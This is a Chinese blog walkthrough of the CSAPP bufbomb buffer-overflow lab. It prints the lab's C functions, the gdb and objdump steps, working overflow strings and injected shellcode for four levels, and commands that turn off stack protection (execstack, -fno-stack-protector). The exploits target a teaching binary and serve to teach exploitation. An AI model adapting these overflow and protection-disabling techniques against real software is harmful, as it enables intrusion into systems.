CSAPP:逆向工程【緩沖區溢出攻擊】


轉載請注明出處:https://www.cnblogs.com/ustca/p/11735120.html

逆向工程【緩沖區溢出攻擊】拓展:二進制炸彈反匯編

任務描述

掌握函數調用時的棧幀結構,利用輸入緩沖區的溢出漏洞,將攻擊代碼嵌入當前程序的棧幀中,使程序執行我們所期望的過程。

主要方法

溢出的字符將覆蓋棧幀上的數據,會覆蓋程序調用的返回地址,這賦予了我們控制程序流程的能力。通過構造溢出字符串,程序將“返回”至我們想要的代碼上。
在這里插入圖片描述
實驗包括三個可執行文件:
---| bufbomb為目標程序
---| makecookie可以生成bufbomb需要的輸入參數的cookie(也可以在gdb調試時直接讀取寄存器獲得)
---| sendstring可以將ASCII碼轉成字符(實驗用到了拓展ASCII碼)

程序運行時棧幀結構

在這里插入圖片描述

Level0:Somke

getbuf函數在test中被調用,當getbuf返回時繼續執行第八行:

void test() 
{ 
	int val; 
	volatile int local = 0xdeadbeef; 
	entry_check(3); /* Make sure entered this function properly */ 
	val = getbuf(); 
	/* Check for corrupted stack */ 
	if (local != 0xdeadbeef) { 
		printf("Sabotaged!: the stack has been corrupted\n"); 
	} 
	else if (val == cookie) { 
		......
	}
}

Bufbomb中一個正常情況下不會被執行的函數:

void smoke() 
{ 
	entry_check(0); /* Make sure entered this function properly */ 
	printf("Smoke!: You called smoke()\n"); 
	validate(0); 
	exit(0); 
}

攻擊目標

在getbuf返回時跳到smoke函數執行。

思路

1、通過gdb調試得到我們輸入的字符串首地址p/x $ebp-0xc
2、找到函數smoke的地址p/x &smoke
3、用smoke函數的地址覆蓋getbuf的返回地址

操作

首先對可執行程序進行反匯編objdump -d bufbomb > bufbomb.s
在這里插入圖片描述
在這里插入圖片描述
反匯編得到的匯編碼中,找到getbuf的代碼段,可以看到緩沖區首地址為-0xc(%ebp),%eax
打開gdb調試,在Gets函數執行前設置斷點b *0x8048fec
運行程序,輸入測試字符:
在這里插入圖片描述
得到緩沖區首地址為0xffffb16c
在這里插入圖片描述
得到smoke函數入口地址0x8048e20

接下來只需要構造攻擊字符串,使得字符串溢出部分覆蓋返回地址,達到“返回”到smoke函數的目的。

根據程序運行時的棧幀結構,可以得到返回地址存儲在ebp寄存器的后4字節,輸入緩沖區大小為0xc+4,最終得到攻擊字符串長度應該為0xc+4+4=20字節。
只要輸入字符串的最后4字節為smoke函數入口地址即可跳轉,前16字節數據可以為任意值,小端模式下攻擊字符串如下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08
將字符串保存到exploit1.txt文件中,使用./sendstring <exploit1.txt> exploit1_raw.txt將ASCII碼轉為實際字符。
執行程序測試運行結果./bufbomb -t USTCSA < exploit1_raw.txt
在這里插入圖片描述

Level1:Fizz

另一函數

void fizz(int val) 
{ 
	entry_check(1); /* Make sure entered this function properly */ 
	if (val == cookie) { 
		printf("Fizz!: You called fizz(0x%x)\n", val); 
		validate(1); 
	} else 
		printf("Misfire: You called fizz(0x%x)\n", val); 
	exit(0); 
}

攻擊目標

“返回”到該函數並傳送參數cookie

操作

原理與smoke相同,觀察棧幀結構可以發現只需要在smoke攻擊字串后面再繼續覆蓋調用棧幀的參數。
在這里插入圖片描述
fizz入口地址為0x8048dc0.
與smoke相同,ebp+4為棧幀返回地址。

執行完ret指令后棧頂指針 %esp 會自動增加4以還原棧幀。

在fizz匯編代碼段,cmp指令是將存放cookie的變量與%ebp+0x8處的值相比,此時參數地址也就是舊的ebp+4+8。

cookie值通過./makecookie USTCSA獲得。

通過以上分析可以得到,fizz攻擊的字符串與smoke相比,只需要將ebp之上4個字節的地址覆蓋,然后再往上8字節填入cookie參數。

除了fizz的入口地址與cookie參數,其余字節都可以用任意值填充,得到一下攻擊字符串。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11
再使用sendstring獲得新的攻擊字符,執行程序測試運行結果
在這里插入圖片描述

Level2:Bang

第三個函數

int global_value = 0; 
void bang(int val) 
{ 
	entry_check(2); /* Make sure entered this function properly */ 
	if (global_value == cookie) { 
		printf("Bang!: You set global_value to 0x%x\n", global_value); 
		validate(2); 
	} else {
		printf("Misfire: global_value = 0x%x\n", global_value); 
		exit(0); 
	}
}

攻擊目標

構造若干條指令,修改全局變量global_val,然后跳轉到bang函數
(需要execstack工具解除棧執行限制)

操作

與smoke和fizz不同的是,這里不在是簡單的纂改返回地址。因為涉及到修改全局變量,所以需要注入我們自己的代碼,然后將返回地址篡改到攻擊代碼處執行,最后ret到bang函數。

通過前兩個實驗的分析,已經得知輸入緩沖區最大有16字節的空間,而我們注入的代碼正好只需要16字節空間。

以下是我們想要添加執行的匯編碼:

movl	$0x11d35fc1, 0x804a1dc
push	$0x8048d60
ret

movl指令將我們的cookie(11d35fc1)傳遞到0x804a1dc(cmp指令對比時的全局變量取值)
push指令將bang函數的入口地址壓棧
ret指令返回我們最后壓入的bang函數入口,實現跳轉的效果
在這里插入圖片描述
將我們自己寫的匯編碼保存,通過gcc將匯編碼編譯成機器碼
gcc -m32 -c bang.s獲得bang.o
再將機器碼讀取
objdump -d bang.o

bang.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	c7 05 dc a1 04 08 c1 	movl   $0x11d35fc1,0x804a1dc
   7:	5f d3 11 
   a:	68 60 8d 04 08       	push   $0x8048d60
   f:	c3                   	ret    

c7 05 dc a1 04 08 c1
5f d3 11
68 60 8d 04 08
c3

獲得我們自己想要操作的指令機器碼。

只需要在這段字串后再加上緩沖區的首地址,用來覆蓋原返回地址,可獲得最后的攻擊字符串:
c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff

使用sendstring獲得新的攻擊字符,執行程序測試運行結果
在這里插入圖片描述
提示運行失敗。。。。。。。。。
一直以為是自己哪里寫錯了,折騰了一下午

出現段錯誤是因為Linux系統默認開啟了棧保護機制,用於阻止緩沖區溢出攻擊🙂🙂🙂

解決方法:
安裝execstack sudo apt-get install execstack
修改程序堆棧的可執行屬性 execstack -s bufbomb

若是擁有bufbomb的源代碼,也可以在編譯時關閉保護機制重新編譯
gcc -g -z execstack -fno-stack-protector bufbomb.c -o bufbomb

再次測試運行結果
在這里插入圖片描述
另外,修改堆棧可執行屬性只能在gdb調試下有效,實際運行仍然會出現段錯誤。徹底解決的方法是找到源代碼以后重新編譯。還有一點,多次實驗時可能會出現緩沖區首地址改變的情況。

Level3:Test

第四個函數

void test() 
{ 
	int val; 
	volatile int local = 0xdeadbeef; 
	entry_check(3); /* Make sure entered this function properly */ 
	val = getbuf(); 
	/* Check for corrupted stack */ 
	if (local != 0xdeadbeef) { 
		printf("Sabotaged!: the stack has been corrupted\n"); 
	} 
	else if (val == cookie) { 
		printf("Boom!: getbuf returned 0x%x\n", val); 
		validate(3); 
	} 
	else { 
		printf("Dud: getbuf returned 0x%x\n", val); 
	} 
}

攻擊目標

函數正常返回時執行 第15行,我們要讓函數執行第12行

操作

與bang不同的是,本任務中我們希望getbuf() 結束后回到test()原本的位置,並將cookie作為getbuf()的返回值傳給test()。過程中需要將ebp復原,使程序不會因為外部攻擊而出錯崩潰,保證退出攻擊后棧空間還原。

操作流程:
獲取舊的ebp值
寫需要插入執行的匯編碼——用指令設置返回值,並返回getbuf下一行執行
利用溢出覆蓋修改ebp

gdb調試獲取ebp:
在這里插入圖片描述
編寫匯編碼:

movl	$0x11d35fc1, %eax
push	$0x0804901e
ret

轉為機器碼:

00000000 <.text>:
   0:	b8 c1 5f d3 11       	mov    $0x11d35fc1,%eax
   5:	68 1e 90 04 08       	push   $0x804901e
   a:	c3                   	ret  

b8 c1 5f d3 11 68 1e 90 04 08 c3

最后再修改ebp獲得攻擊字符串:
b8 c1 5f d3 11 68 1e 90 04 08 c3 00 98 b1 ff ff 6c b1 ff ff

測試運行結果
在這里插入圖片描述


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM